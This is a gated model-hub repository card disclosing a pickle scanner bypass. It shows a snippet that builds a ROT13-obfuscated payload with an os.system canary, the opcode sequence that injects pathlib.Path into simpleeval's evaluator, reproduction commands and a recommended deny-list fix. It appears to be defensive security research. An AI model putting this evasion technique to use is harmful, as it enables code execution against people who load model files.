You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
simpleeval.EvalWithCompoundTypes — BUILD Opcode Callable Injection
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 4 | Yes — 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
simpleeval.EvalWithCompoundTypes is a restricted expression evaluator. Like asteval.Interpreter, it stores its callable namespace in a mutable __dict__ attribute (functions). The BUILD opcode injects pathlib.Path as callable P into this dict, bypassing all of simpleeval's import restrictions.
The key difference from asteval is the dict key: asteval uses symtable, simpleeval uses functions. The injection pattern is identical.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(target: str, canary: str) -> bytes:
content = f'import os; os.system("echo simpleeval_pwned > {canary}")\n'
hex_content = content.encode().hex()
eval_expr = f"P('{target}').write_text(bytes.fromhex('{hex_content}').decode())"
rot13_expr = codecs.encode(eval_expr, "rot_13")
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-simpleeval-build-injection
cd pickle-bypass-simpleeval-build-injection
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
Add "simpleeval" to ALWAYS_DANGEROUS_MODULES. See 19_asteval_build/README.md for the general pattern.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
simpleeval.EvalWithCompoundTypes — BUILD Opcode Callable Injection
Score: 0 CRITICAL, 4 WARNING
Technique: Same BUILD injection pattern as asteval — demonstrates pattern generality
Scanner version: modelaudit 0.2.37
Mechanism
simpleeval.EvalWithCompoundTypes is a restricted expression evaluator. Like asteval.Interpreter, it stores its callable namespace in a mutable __dict__ attribute (functions). The BUILD opcode injects pathlib.Path as callable P into this dict, bypassing all of simpleeval's import restrictions.
The key difference from asteval is the dict key: asteval uses symtable, simpleeval uses functions. The injection pattern is identical.
Pickle Structure
_codecs.encode(rot13_expr, 'rot_13') → eval_expr [0 findings]
GLOBAL pathlib.Path (no REDUCE) → class ref [WARNING 1]
{'functions': {'P': pathlib.Path}} → state dict [0 findings]
simpleeval.EvalWithCompoundTypes() → instance [WARNING 2]
BUILD({'functions': {'P': pathlib.Path}}) → injects P [WARNING 3]
simpleeval.EvalWithCompoundTypes.eval(inst, eval_expr) → P(path).write_text(...) [WARNING 4]
General Pattern
Any "safe" evaluator that stores callables in a mutable instance attribute is vulnerable to BUILD injection. The evaluator's safety restrictions are irrelevant once the attacker controls what is in the callable namespace.
Recommended Fix
Add "simpleeval" to ALWAYS_DANGEROUS_MODULES. See 19_asteval_build/README.md for the general pattern.
Requirements
pip install simpleeval
General Analysis — Security Research